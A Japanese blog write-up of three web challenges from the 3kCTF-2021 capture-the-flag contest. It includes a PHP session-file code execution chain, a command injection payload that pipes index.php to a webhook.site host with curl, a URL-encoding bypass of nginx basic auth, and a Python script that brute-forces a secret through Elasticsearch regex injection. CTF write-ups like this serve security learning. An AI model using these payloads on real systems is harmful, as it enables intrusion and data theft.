st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

3kCTF-2021 writeup

5/15 - 5/17という日程で開催された。zer0ptsで参加して3位。

[Web 425] online_compiler (30 solves)

PHPのセッションは大体 /tmp/sess_(セッションID) みたいに session.​save_path 下にファイルとして保存されることを使う。まず以下のコードで /El_FlAAG___FilEE の存在がわかる。実行するOSコマンドを cat /*FlAAG* に変えるとフラグ。

function save(code) {
  return $.post("http://" + location.hostname + ":5000/save", {
    c_type: "php", code
  });
}

function compile(c_type, filename) {
  return $.post("http://" + location.hostname + ":5000/compile", {
    c_type, filename
  });
}

let path1 = await save(`<?=session_id('poyo0py');session_start();$a='import os;os.system("ls /")#';`);
let path2 = await save(`<?=require('${path1}');$_SESSION[$a]=1;session_close();`);
console.log(path1, path2);
console.log(await compile('php', path2));
console.log(await compile('python', '../../../tmp/sess_poyo0py'));

[Web 438] Emoji (25 solves)

以下のコードを見るとGitHub3kctf2021webchallenge/downloader というリポジトリからしか取ってこれないように思えるが、$page../../../… を仕込んでやると好きなリポジトリから取ってこさせることができる。

        function fetch_and_parse($page){
                $a=file_get_contents("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$page.".html");
                preg_match_all("/<img src=\"(.*?)\">/", $a,$ma);
                return $ma;
        }

ということで、以下の手順でフラグが得られる。

  1. <img src="$(cat index.php | curl https://webhook.site/...?test -Ff=@-)"> みたいな内容のHTMLをGitHubのプライベートリポジトリに上げる
  2. /?dir=../../../st98/sandbox-private/master/test.html?token=(トークン)%23 みたいな感じのURLにアクセスするとペイロードが署名される
  3. 生成されたリンクにアクセスするとOS Command Injectionが発火

[Web 478] p(a)wnshop (9 solves)

まず以下のnginxのフィルターをバイパスして /backend/admin.py を叩く必要があるが、これは /backend/%2561dmin.py でなんとかできた(なんで?)。

    location ~admin {
        auth_basic "pawnshop admin";
        auth_basic_user_file /etc/nginx/.htpasswd;
    }

admin.py にはNoSQL Injection(Elasticsearch)がある。正規表現でがんばろう。

import ssl
import urllib.parse
import http.client
import string

def query(q):
  payload = f'" AND id:5 AND value:/{q}/ AND "@pawnshop.2021.3k.ctf.to'
  conn = http.client.HTTPSConnection("pawnshop.2021.3k.ctf.to", 4443, context=ssl._create_unverified_context())
  conn.request('POST', '/backend/%2561dmin.py', 'action=lookup&mail=' + urllib.parse.quote(payload))
  res = conn.getresponse().read()
  print('[debug]', q, res)
  return b'not found' not in res

table = ''
table += '_-'
table += string.ascii_lowercase
table += string.ascii_uppercase
table += string.digits
table += '.'

known = 'http2_'
while True:
  for c in table:
    if query(known + c + '.*'):
      known += c
      break
  print(known)